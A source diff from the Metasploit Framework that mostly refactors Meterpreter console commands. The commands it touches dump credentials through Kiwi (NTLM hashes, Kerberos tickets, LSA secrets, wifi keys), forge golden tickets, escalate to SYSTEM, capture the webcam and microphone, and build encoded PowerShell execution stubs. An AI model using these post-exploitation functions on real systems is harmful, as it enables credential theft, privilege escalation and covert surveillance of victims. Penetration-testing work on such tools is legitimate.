a/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb @@ -26,7 +26,7 @@ class Console::CommandDispatcher::Kiwi # Name for this dispatcher # def name - "Kiwi" + 'Kiwi' end # @@ -46,10 +46,9 @@ class Console::CommandDispatcher::Kiwi print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */") print_line - if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) - + if client.platform =~ /x86/ and client.sys.config.sysinfo['Architecture'] =~ /x64/ print_line - print_warning "Loaded x86 Kiwi on an x64 architecture." + print_warning('Loaded x86 Kiwi on an x64 architecture.') end end @@ -58,19 +57,19 @@ class Console::CommandDispatcher::Kiwi # def commands { - "creds_wdigest" => "Retrieve WDigest creds", - "creds_msv" => "Retrieve LM/NTLM creds (hashes)", - "creds_livessp" => "Retrieve LiveSSP creds", - "creds_ssp" => "Retrieve SSP creds", - "creds_tspkg" => "Retrieve TsPkg creds", - "creds_kerberos" => "Retrieve Kerberos creds", - "creds_all" => "Retrieve all credentials", - "golden_ticket_create" => "Create a golden kerberos ticket", - "kerberos_ticket_use" => "Use a kerberos ticket", - "kerberos_ticket_purge" => "Purge any in-use kerberos tickets", - "kerberos_ticket_list" => "List all kerberos tickets", - "lsa_dump" => "Dump LSA secrets", - "wifi_list" => "List wifi profiles/creds" + 'creds_wdigest' => 'Retrieve WDigest creds', + 'creds_msv' => 'Retrieve LM/NTLM creds (hashes)', + 'creds_livessp' => 'Retrieve LiveSSP creds', + 'creds_ssp' => 'Retrieve SSP creds', + 'creds_tspkg' => 'Retrieve TsPkg creds', + 'creds_kerberos' => 'Retrieve Kerberos creds', + 'creds_all' => 'Retrieve all credentials', + 'golden_ticket_create' => 'Create a golden kerberos ticket', + 'kerberos_ticket_use' => 'Use a kerberos ticket', + 'kerberos_ticket_purge' => 'Purge any in-use kerberos tickets', + 'kerberos_ticket_list' => 'List all kerberos tickets', + 'lsa_dump' => 'Dump LSA secrets', + 'wifi_list' => 'List wifi profiles/creds' } end @@ -80,7 +79,7 @@ class Console::CommandDispatcher::Kiwi def cmd_lsa_dump(*args) check_privs - print_status("Dumping LSA secrets") + print_status('Dumping LSA secrets') lsa = client.kiwi.lsa_dump # the format of this data doesn't really lend itself nicely to @@ -142,24 +141,24 @@ class Console::CommandDispatcher::Kiwi # Valid options for the golden ticket creation functionality. # @@golden_ticket_create_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-u" => [ true, "Name of the user to create the ticket for" ], - "-i" => [ true, "ID of the user to associate the ticket with" ], - "-g" => [ true, "Comma-separated list of group identifiers to include (eg: 501,502)" ], - "-d" => [ true, "Name of the target domain (FQDN)" ], - "-k" => [ true, "krbtgt domain user NTLM hash" ], - "-t" => [ true, "Local path of the file to store the ticket in" ], - "-s" => [ true, "SID of the domain" ] + '-h' => [ false, 'Help banner' ], + '-u' => [ true, 'Name of the user to create the ticket for' ], + '-i' => [ true, 'ID of the user to associate the ticket with' ], + '-g' => [ true, 'Comma-separated list of group identifiers to include (eg: 501,502)' ], + '-d' => [ true, 'Name of the target domain (FQDN)' ], + '-k' => [ true, 'krbtgt domain user NTLM hash' ], + '-t' => [ true, 'Local path of the file to store the ticket in' ], + '-s' => [ true, 'SID of the domain' ] ) # # Output the usage for the ticket listing functionality. # def golden_ticket_create_usage - print( - "\nUsage: golden_ticket_create [-h] -u -d -k -s -t [-i ] [-g ]\n\n" + - "Create a golden kerberos ticket that expires in 10 years time.\n\n" + - @@golden_ticket_create_opts.usage) + print_line('Usage: golden_ticket_create [options]') + print_line + print_line('Create a golden kerberos ticket that expires in 10 years time.') + print_line(@@golden_ticket_create_opts.usage) end # @@ -181,19 +180,19 @@ class Console::CommandDispatcher::Kiwi @@golden_ticket_create_opts.parse(args) { |opt, idx, val| case opt - when "-u" + when '-u' user = val - when "-d" + when '-d' domain = val - when "-k" + when '-k' tgt = val - when "-t" + when '-t' target = val - when "-i" + when '-i' id = val.to_i - when "-g" + when '-g' group_ids = val.split(',').map { |g| g.to_i }.to_a - when "-s" + when '-s' sid = val end } @@ -207,7 +206,7 @@ class Console::CommandDispatcher::Kiwi ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids) ::File.open( target, 'wb' ) do |f| - f.write ticket + f.write(ticket) end print_good("Golden Kerberos ticket written to #{target}") @@ -217,26 +216,26 @@ class Console::CommandDispatcher::Kiwi # Valid options for the ticket listing functionality. # @@kerberos_ticket_list_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-e" => [ false, "Export Kerberos tickets to disk" ], - "-p" => [ true, "Path to export Kerberos tickets to" ] + '-h' => [ false, 'Help banner' ], + '-e' => [ false, 'Export Kerberos tickets to disk' ], + '-p' => [ true, 'Path to export Kerberos tickets to' ] ) # # Output the usage for the ticket listing functionality. # def kerberos_ticket_list_usage - print( - "\nUsage: kerberos_ticket_list [-h] [-e ] [-p ]\n\n" + - "List all the available Kerberos tickets.\n\n" + - @@kerberos_ticket_list_opts.usage) + print_line('Usage: kerberos_ticket_list [options]') + print_line + print_line('List all the available Kerberos tickets.') + print_line(@@kerberos_ticket_list_opts.usage) end # # Invoke the kerberos ticket listing functionality on the target machine. # def cmd_kerberos_ticket_list(*args) - if args.include?("-h") + if args.include?('-h') kerberos_ticket_list_usage return end @@ -244,13 +243,13 @@ class Console::CommandDispatcher::Kiwi # default to not exporting export = false # default to the current folder for dumping tickets - export_path = "." + export_path = '.' @@kerberos_ticket_list_opts.parse(args) { |opt, idx, val| case opt - when "-e" + when '-e' export = true - when "-p" + when '-p' export_path = val end } @@ -261,7 +260,7 @@ class Console::CommandDispatcher::Kiwi fields << 'Export Path' if export table = Rex::Ui::Text::Table.new( - 'Header' => "Kerberos Tickets", + 'Header' => 'Kerberos Tickets', 'Indent' => 0, 'SortIndex' => 0, 'Columns' => fields @@ -280,7 +279,7 @@ class Console::CommandDispatcher::Kiwi # write out each ticket to disk if export is enabled. if export - path = "" + path = '' if t[:raw] id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-') file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt" @@ -305,7 +304,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_kerberos_ticket_purge(*args) client.kiwi.kerberos_ticket_purge - print_good("Kerberos tickets purged") + print_good('Kerberos tickets purged') end # @@ -313,7 +312,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_kerberos_ticket_use(*args) if args.length != 1 - print_line("Usage: kerberos_ticket_use ticketpath") + print_line('Usage: kerberos_ticket_use ticketpath') return end @@ -325,25 +324,13 @@ class Console::CommandDispatcher::Kiwi print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes") client.kiwi.kerberos_ticket_use(ticket) - print_good("Kerberos ticket applied successfully") - end - - def wifi_list_usage - print( - "\nUsage: wifi_list\n\n" + - "List WiFi interfaces, profiles and passwords.\n\n") + print_good('Kerberos ticket applied successfully') end # # Dump all the wifi profiles/credentials # def cmd_wifi_list(*args) - # if any arguments are specified, then fire up a usage message - if args.length > 0 - wifi_list_usage - return - end - results = client.kiwi.wifi_list if results.length > 0 @@ -362,24 +349,39 @@ class Console::CommandDispatcher::Kiwi table << [p[:name], p[:auth], p[:key_type], p[:shared_key]] end - print_line table.to_s - print_line "State: #{r[:state]}" + print_line(table.to_s) + print_line("State: #{r[:state]}") end else print_line - print_error("No wireless profiles found on the target.") + print_error('No wireless profiles found on the target.') end print_line return true end + @@creds_opts = Rex::Parser::Arguments.new( + '-o' => [ true, 'Write the output to the specified file.' ], + '-h' => [ false, 'Help menu.' ] + ) + + # + # Displays information about the various creds commands + # + def cmd_creds_usage(provider) + print_line("Usage: creds_#{provider} [options]") + print_line + print_line("Dump #{provider} credentials.") + print_line(@@creds_opts.usage) + end + # # Dump all the possible credentials to screen. # def cmd_creds_all(*args) method = Proc.new { client.kiwi.all_pass } - scrape_passwords("all", method) + scrape_passwords('all', method, args) end # @@ -387,7 +389,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_creds_wdigest(*args) method = Proc.new { client.kiwi.wdigest } - scrape_passwords("wdigest", method) + scrape_passwords('wdigest', method, args) end # @@ -395,7 +397,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_creds_msv(*args) method = Proc.new { client.kiwi.msv } - scrape_passwords("msv", method) + scrape_passwords('msv', method, args) end # @@ -403,7 +405,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_creds_livessp(*args) method = Proc.new { client.kiwi.livessp } - scrape_passwords("livessp", method) + scrape_passwords('livessp', method, args) end # @@ -411,7 +413,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_creds_ssp(*args) method = Proc.new { client.kiwi.ssp } - scrape_passwords("ssp", method) + scrape_passwords('ssp', method, args) end # @@ -419,7 +421,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_creds_tspkg(*args) method = Proc.new { client.kiwi.tspkg } - scrape_passwords("tspkg", method) + scrape_passwords('tspkg', method, args) end # @@ -427,22 +429,22 @@ class Console::CommandDispatcher::Kiwi # def cmd_creds_kerberos(*args) method = Proc.new { client.kiwi.kerberos } - scrape_passwords("kerberos", method) + scrape_passwords('kerberos', method, args) end protected def check_privs if system_check - print_good("Running as SYSTEM") + print_good('Running as SYSTEM') else - print_warning("Not running as SYSTEM, execution may fail") + print_warning('Not running as SYSTEM, execution may fail') end end def system_check - unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM") - print_warning("Not currently running as SYSTEM") + unless client.sys.config.is_system? + print_warning('Not currently running as SYSTEM') return false end @@ -459,7 +461,12 @@ protected # Meterpreter that lay in the house that Jack built. # # @return [void] - def scrape_passwords(provider, method) + def scrape_passwords(provider, method, args) + if args.include?('-h') + cmd_creds_usage(provider) + return + end + check_privs print_status("Retrieving #{provider} credentials") accounts = method.call @@ -468,24 +475,40 @@ protected 'Header' => "#{provider} credentials", 'Indent' => 0, 'SortIndex' => 0, - 'Columns' => - [ - 'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash' + 'Columns' => [ + 'Domain', 'User', 'Password', 'LM Hash', 'NTLM Hash' ] ) accounts.each do |acc| table << [ - acc[:domain] || "", - acc[:username] || "", - acc[:password] || "", - "#{acc[:auth_hi]} ; #{acc[:auth_lo]}", - to_hex(acc[:lm] || ""), - to_hex(acc[:ntlm] || "") + acc[:domain] || '', + acc[:username] || '', + acc[:password] || '', + to_hex(acc[:lm]), + to_hex(acc[:ntlm]) ] end - print_line table.to_s + output = table.to_s + print_line(output) + + # determine if a target file path was passed in + file_index = args.index('-o') + unless file_index.nil? + if args.length > file_index + 1 + # try to write the file to disk + begin + ::File.write(args[file_index + 1], output) + print_good("Output written to #{args[file_index + 1]}") + rescue + print_error("Unable to write to #{args[file_index + 1]}") + end + else + print_error('Missing file path for -o parameter') + end + end + return true end @@ -496,8 +519,7 @@ protected # @param (see Rex::Text.to_hex) # @return [String] The result of {Rex::Text.to_hex}, strip'd def to_hex(value, sep = '') - value ||= "" - Rex::Text.to_hex(value, sep).strip + Rex::Text.to_hex(value || '', sep).strip end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb index 19c606f42f..18172d0416 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb @@ -17,17 +17,20 @@ class Console::CommandDispatcher::Priv::Elevate include Console::CommandDispatcher - ELEVATE_TECHNIQUE_NONE = -1 - ELEVATE_TECHNIQUE_ANY = 0 - ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE = 1 - ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 = 2 - ELEVATE_TECHNIQUE_SERVICE_TOKENDUP = 3 + ELEVATE_TECHNIQUE_NONE = -1 + ELEVATE_TECHNIQUE_ANY = 0 + ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE = 1 + ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 = 2 + ELEVATE_TECHNIQUE_SERVICE_TOKENDUP = 3 + + ELEVATE_TECHNIQUE_DESCRIPTION = + [ + "All techniques available", + "Named Pipe Impersonation (In Memory/Admin)", + "Named Pipe Impersonation (Dropper/Admin)", + "Token Duplication (In Memory/Admin)" + ] - ELEVATE_TECHNIQUE_DESCRIPTION = [ "All techniques available", - "Service - Named Pipe Impersonation (In Memory/Admin)", - "Service - Named Pipe Impersonation (Dropper/Admin)", - "Service - Token Duplication (In Memory/Admin)" - ] # # List of supported commands. # @@ -45,6 +48,25 @@ class Console::CommandDispatcher::Priv::Elevate end + # + # Returns the description of the technique(s) + # + def translate_technique_index(index) + translation = '' + + case index + when 0 + desc = ELEVATE_TECHNIQUE_DESCRIPTION.dup + desc.shift + translation = desc + else + translation = [ ELEVATE_TECHNIQUE_DESCRIPTION[index] ] + end + + translation + end + + # # Attempt to elevate the meterpreter to that of local system. # @@ -73,17 +95,29 @@ class Console::CommandDispatcher::Priv::Elevate } if( technique < 0 or technique >= ELEVATE_TECHNIQUE_DESCRIPTION.length ) - print_error( "Technique '#{technique}' is out of range." ); + print_error( "Technique '#{technique}' is out of range." ) return false; end - result = client.priv.getsystem( technique ) + begin + result = client.priv.getsystem( technique ) + rescue Rex::Post::Meterpreter::RequestError => e + print_error("#{e.message} The following was attempted:") + translate_technique_index(technique).each do |desc| + print_error(desc) + end + elog("#{e.class} #{e.message} (Technique: #{technique})\n#{e.backtrace * "\n"}") + return + end # got system? if result[0] - print_line( "...got system (via technique #{result[1]})." ); + print_line( "...got system via technique #{result[1]} (#{translate_technique_index(result[1]).first})." ) else - print_line( "...failed to get system." ); + print_line( "...failed to get system while attempting the following:" ) + translate_technique_index(technique).each do |desc| + print_error(desc) + end end return result diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index 3b05a90acf..038e35a54d 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -114,50 +114,54 @@ class Console::CommandDispatcher::Stdapi::Fs def cmd_search(*args) root = nil - glob = nil recurse = true + globs = [] + files = [] opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner." ], "-d" => [ true, "The directory/drive to begin searching from. Leave empty to search all drives. (Default: #{root})" ], - "-f" => [ true, "The file pattern glob to search for. (e.g. *secret*.doc?)" ], + "-f" => [ true, "A file pattern glob to search for. (e.g. *secret*.doc?)" ], "-r" => [ true, "Recursivly search sub directories. (Default: #{recurse})" ] ) opts.parse(args) { | opt, idx, val | case opt when "-h" - print_line("Usage: search [-d dir] [-r recurse] -f pattern") + print_line("Usage: search [-d dir] [-r recurse] -f pattern [-f pattern]...") print_line("Search for files.") print_line(opts.usage) return when "-d" root = val when "-f" - glob = val + globs << val when "-r" recurse = false if val =~ /^(f|n|0)/i end } - if not glob + if globs.empty? print_error("You must specify a valid file glob to search for, e.g. >search -f *.doc") return end - files = client.fs.file.search(root, glob, recurse) + globs.uniq.each do |glob| + files += client.fs.file.search(root, glob, recurse) + end - if not files.empty? - print_line("Found #{files.length} result#{ files.length > 1 ? 's' : '' }...") - files.each do | file | - if file['size'] > 0 - print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']} (#{file['size']} bytes)\n") - else - print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']}\n") - end - end - else + if files.empty? print_line("No files matching your search were found.") + return + end + + print_line("Found #{files.length} result#{ files.length > 1 ? 's' : '' }...") + files.each do | file | + if file['size'] > 0 + print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']} (#{file['size']} bytes)\n") + else + print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']}\n") + end end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb index 1108262a5e..3e1668e6c7 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb @@ -422,6 +422,11 @@ class Console::CommandDispatcher::Stdapi::Sys # Lists running processes. # def cmd_ps(*args) + if args.include?('-h') + cmd_ps_help + return true + end + # Init vars processes = client.sys.process.get_processes search_term = nil @@ -435,9 +440,6 @@ class Console::CommandDispatcher::Stdapi::Sys print_error("Enter a search term") return true end - when '-h' - cmd_ps_help - return true when "-A" print_line "Filtering on arch..." searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new @@ -447,14 +449,14 @@ class Console::CommandDispatcher::Stdapi::Sys print_line "You must select either x86 or x86_64" return false end - searched_procs << proc if proc["arch"] == val + searched_procs << proc if proc["arch"] == val end processes = searched_procs when "-s" print_line "Filtering on SYSTEM processes..." searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new processes.each do |proc| - searched_procs << proc if proc["user"] == "NT AUTHORITY\\SYSTEM" + searched_procs << proc if proc["user"] == "NT AUTHORITY\\SYSTEM" end processes = searched_procs when "-U" @@ -465,46 +467,18 @@ class Console::CommandDispatcher::Stdapi::Sys print_line "You must supply a search term!" return false end - searched_procs << proc if proc["user"].match(/#{val}/) + searched_procs << proc if proc["user"].match(/#{val}/) end processes = searched_procs end } - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Process list", - 'Indent' => 1, - 'Columns' => - [ - "PID", - "Name", - "Arch", - "Session", - "User", - "Path" - ], - 'SearchTerm' => search_term) - - processes.each { |ent| - session = ent['session'] == 0xFFFFFFFF ? '' : ent['session'].to_s - arch = ent['arch'] - - # for display and consistency with payload naming we switch the internal 'x86_64' value to display 'x64' - if( arch == ARCH_X86_64 ) - arch = "x64" - end - - row = [ ent['pid'].to_s, ent['name'], arch, session, ent['user'], ent['path'] ] - - tbl << row #if (search_term.nil? or row.join(' ').to_s.match(search_term)) - } - if (processes.length == 0) print_line("No running processes were found.") else + tbl = processes.to_table('SearchTerm' => search_term) print_line - print("\n" + tbl.to_s + "\n") - print_line + print_line(tbl.to_s) end return true end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb index 6ac989c899..447097cd2b 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb @@ -12,7 +12,6 @@ module Ui # ### class Console::CommandDispatcher::Stdapi::Webcam - Klass = Console::CommandDispatcher::Stdapi::Webcam include Console::CommandDispatcher @@ -33,17 +32,16 @@ class Console::CommandDispatcher::Stdapi::Webcam "webcam_list" => [ "webcam_list" ], "webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], - "record_mic" => [ "webcam_audio_record" ], + "record_mic" => [ "webcam_audio_record" ] } - all.delete_if do |cmd, desc| + all.delete_if do |cmd, _desc| del = false reqs[cmd].each do |req| next if client.commands.include? req del = true break end - del end @@ -58,23 +56,26 @@ class Console::CommandDispatcher::Stdapi::Webcam end def cmd_webcam_list - begin - client.webcam.webcam_list.each_with_index { |name, indx| - print_line("#{indx + 1}: #{name}") - } - return true - rescue + if client.webcam.webcam_list.length == 0 print_error("No webcams were found") - return false + return + end + + client.webcam.webcam_list.each_with_index do |name, indx| + print_line("#{indx + 1}: #{name}") end end def cmd_webcam_snap(*args) + if client.webcam.webcam_list.length == 0 + print_error("Target does not have a webcam") + return + end + path = Rex::Text.rand_text_alpha(8) + ".jpeg" quality = 50 view = true index = 1 - wc_list = [] webcam_snap_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], @@ -84,51 +85,44 @@ class Console::CommandDispatcher::Stdapi::Webcam "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ] ) - webcam_snap_opts.parse( args ) { | opt, idx, val | + webcam_snap_opts.parse(args) do |opt, _idx, val| case opt - when "-h" - print_line( "Usage: webcam_snap [options]\n" ) - print_line( "Grab a frame from the specified webcam." ) - print_line( webcam_snap_opts.usage ) - return - when "-i" - index = val.to_i - when "-q" - quality = val.to_i - when "-p" - path = val - when "-v" - view = false if ( val =~ /^(f|n|0)/i ) + when "-h" + print_line("Usage: webcam_snap [options]\n") + print_line("Grab a frame from the specified webcam.") + print_line(webcam_snap_opts.usage) + return + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-p" + path = val + when "-v" + view = false if val =~ /^(f|n|0)/i end - } - begin - wc_list << client.webcam.webcam_list - rescue end - if wc_list.length > 0 - begin - print_status("Starting...") - client.webcam.webcam_start(index) - data = client.webcam.webcam_get_frame(quality) - print_good("Got frame") - ensure - client.webcam.webcam_stop - print_status("Stopped") - end - if( data ) - ::File.open( path, 'wb' ) do |fd| - fd.write( data ) - end - path = ::File.expand_path( path ) - print_line( "Webcam shot saved to: #{path}" ) - Rex::Compat.open_file( path ) if view - end - return true - else - print_error("No webcams where found") - return false + begin + print_status("Starting...") + client.webcam.webcam_start(index) + webcam_started = true + data = client.webcam.webcam_get_frame(quality) + print_good("Got frame") + ensure + client.webcam.webcam_stop if webcam_started + print_status("Stopped") end + + if data + ::File.open(path, 'wb') do |fd| + fd.write(data) + end + path = ::File.expand_path(path) + print_line("Webcam shot saved to: #{path}") + Rex::Compat.open_file(path) if view + end + true end def cmd_webcam_chat(*args) @@ -144,39 +138,42 @@ class Console::CommandDispatcher::Stdapi::Webcam "-s" => [ false, "WebSocket server" ] ) - webcam_chat_opts.parse( args ) { | opt, idx, val | + webcam_chat_opts.parse(args) do |opt, _idx, val| case opt - when "-h" - print_line( "Usage: webcam_chat [options]\n" ) - print_line( "Starts a video conversation with your target." ) - print_line( "Browser Requirements:") - print_line( "Chrome: version 23 or newer" ) - print_line( "Firefox: version 22 or newer" ) - print_line( webcam_chat_opts.usage ) - return - when "-s" - server = val.to_s + when "-h" + print_line("Usage: webcam_chat [options]\n") + print_line("Starts a video conversation with your target.") + print_line("Browser Requirements:") + print_line("Chrome: version 23 or newer") + print_line("Firefox: version 22 or newer") + print_line(webcam_chat_opts.usage) + return + when "-s" + server = val.to_s end - } - + end begin print_status("Webcam chat session initialized.") client.webcam.webcam_chat(server) - rescue RuntimeError => e + rescue RuntimeError => e print_error(e.message) end end def cmd_webcam_stream(*args) + if client.webcam.webcam_list.length == 0 + print_error("Target does not have a webcam") + return + end + print_status("Starting...") - stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg" + stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg" player_path = Rex::Text.rand_text_alpha(8) + ".html" duration = 1800 quality = 50 view = true index = 1 - wc_list = [] webcam_snap_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], @@ -188,30 +185,30 @@ class Console::CommandDispatcher::Stdapi::Webcam "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ] ) - webcam_snap_opts.parse( args ) { | opt, idx, val | + webcam_snap_opts.parse(args) do |opt, _idx, val| case opt - when "-h" - print_line( "Usage: webcam_stream [options]\n" ) - print_line( "Stream from the specified webcam." ) - print_line( webcam_snap_opts.usage ) - return - when "-d" - duration = val.to_i - when "-i" - index = val.to_i - when "-q" - quality = val.to_i - when "-s" - stream_path = val - when "-t" - player_path = val - when "-v" - view = false if ( val =~ /^(f|n|0)/i ) + when "-h" + print_line("Usage: webcam_stream [options]\n") + print_line("Stream from the specified webcam.") + print_line(webcam_snap_opts.usage) + return + when "-d" + duration = val.to_i + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-s" + stream_path = val + when "-t" + player_path = val + when "-v" + view = false if val =~ /^(f|n|0)/i end - } + end print_status("Preparing player...") - html = %Q| + html = %| @@ -264,7 +261,7 @@ Status : end if view print_status("Opening player at: #{player_path}") - Rex::Compat.open_file(player_path) + Rex::Compat.open_file(player_path) else print_status("Please open the player manually with a browser: #{player_path}") end @@ -272,72 +269,70 @@ Status : print_status("Streaming...") begin client.webcam.webcam_start(index) - ::Timeout.timeout(duration) { + webcam_started = true + ::Timeout.timeout(duration) do while client do data = client.webcam.webcam_get_frame(quality) if data ::File.open(stream_path, 'wb') do |f| - f.write(data) + f.write(data) end data = nil end end - } + end rescue ::Timeout::Error ensure - client.webcam.webcam_stop + client.webcam.webcam_stop if webcam_started end print_status("Stopped") end def cmd_record_mic(*args) - path = Rex::Text.rand_text_alpha(8) + ".wav" - play = true - duration = 1 + path = Rex::Text.rand_text_alpha(8) + ".wav" + play = true + duration = 1 record_mic_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner" ], "-d" => [ true, "Number of seconds to record (Default: 1)" ], - "-f" => [ true, "The wav file path (Default: '#{::File.expand_path( "[randomname].wav" )}')" ], + "-f" => [ true, "The wav file path (Default: '#{::File.expand_path('[randomname].wav')}')" ], "-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ] ) - record_mic_opts.parse( args ) { | opt, idx, val | + record_mic_opts.parse(args) do |opt, _idx, val| case opt - when "-h" - print_line( "Usage: record_mic [options]\n" ) - print_line( "Records audio from the default microphone." ) - print_line( record_mic_opts.usage ) - return - when "-d" - duration = val.to_i - when "-f" - path = val - when "-p" - play = false if ( val =~ /^(f|n|0)/i ) + when "-h" + print_line("Usage: record_mic [options]\n") + print_line("Records audio from the default microphone.") + print_line(record_mic_opts.usage) + return + when "-d" + duration = val.to_i + when "-f" + path = val + when "-p" + play = false if val =~ /^(f|n|0)/i end - } + end print_status("Starting...") data = client.webcam.record_mic(duration) print_status("Stopped") - if( data ) - ::File.open( path, 'wb' ) do |fd| - fd.write( data ) + if data + ::File.open(path, 'wb') do |fd| + fd.write(data) end - path = ::File.expand_path( path ) - print_line( "Audio saved to: #{path}" ) - Rex::Compat.play_sound( path ) if play + path = ::File.expand_path(path) + print_line("Audio saved to: #{path}") + Rex::Compat.play_sound(path) if play end - return true + true end - -end - end end end end - +end diff --git a/lib/rex/post/meterpreter/ui/console/interactive_channel.rb b/lib/rex/post/meterpreter/ui/console/interactive_channel.rb index 17be4acffb..0ef94b598d 100644 --- a/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +++ b/lib/rex/post/meterpreter/ui/console/interactive_channel.rb @@ -81,6 +81,7 @@ module Console::InteractiveChannel data = self.lsock.sysread(16384) self.on_print_proc.call(data.strip) if self.on_print_proc + self.on_log_proc.call(data.strip) if self.on_log_proc user_output.print(data) end @@ -91,6 +92,8 @@ module Console::InteractiveChannel self.lsock end + attr_accessor :on_log_proc + end end diff --git a/lib/rex/powershell.rb b/lib/rex/powershell.rb index a8df5a5c3c..ad200d86c6 100644 --- a/lib/rex/powershell.rb +++ b/lib/rex/powershell.rb @@ -13,7 +13,7 @@ require 'rex/powershell/command' module Rex module Powershell # - # Reads script into a PowershellScript + # Reads script into a Powershell::Script # # @param script_path [String] Path to the Script File # diff --git a/lib/rex/powershell/command.rb b/lib/rex/powershell/command.rb index f241387482..8e42f11a2d 100644 --- a/lib/rex/powershell/command.rb +++ b/lib/rex/powershell/command.rb @@ -15,14 +15,14 @@ module Command # @option opts [Bool] :sub_funcs Substitute function names # # @return [String] Encoded script - def self.encode_script(script_in, opts={}) + def self.encode_script(script_in, eof=nil, opts={}) # Build script object psh = Rex::Powershell::Script.new(script_in) psh.strip_comments if opts[:strip_comments] psh.strip_whitespace if opts[:strip_whitespace] psh.sub_vars if opts[:sub_vars] psh.sub_funcs if opts[:sub_funcs] - psh.encode_code + psh.encode_code(eof) end # diff --git a/lib/rex/powershell/output.rb b/lib/rex/powershell/output.rb index c004697116..9289162b35 100644 --- a/lib/rex/powershell/output.rb +++ b/lib/rex/powershell/output.rb @@ -52,7 +52,7 @@ module Powershell # Build the powershell expression # Decode base64 encoded command and create a stream object - psh_expression = '$s=New-Object IO.MemoryStream(,' + psh_expression = "$s=New-Object IO.MemoryStream(," psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));" # Read & delete the first two bytes due to incompatibility with MS psh_expression << '$s.ReadByte();' @@ -75,10 +75,18 @@ module Powershell # Return Base64 encoded powershell code # # @return [String] Base64 encoded powershell code - def encode_code + def encode_code(eof = nil) @code = Rex::Text.encode_base64(Rex::Text.to_unicode(code)) end + # + # Return ASCII powershell code from base64/unicode + # + # @return [String] ASCII powershell code + def decode_code + @code = Rex::Text.to_ascii(Rex::Text.decode_base64(code)) + end + # # Return a gzip compressed powershell code wrapped in decoder stub # @@ -95,7 +103,7 @@ module Powershell # Build the powershell expression # Decode base64 encoded command and create a stream object - psh_expression = '$s=New-Object IO.MemoryStream(,' + psh_expression = "$s=New-Object IO.MemoryStream(," psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));" # Uncompress and invoke the expression (execute) psh_expression << 'IEX (New-Object IO.StreamReader(' diff --git a/lib/rex/powershell/script.rb b/lib/rex/powershell/script.rb index 83297447ab..26464b84ab 100644 --- a/lib/rex/powershell/script.rb +++ b/lib/rex/powershell/script.rb @@ -18,7 +18,7 @@ module Powershell # eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}| def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s, :!=, :capitalize!, :ljust, :to_r, :sum, 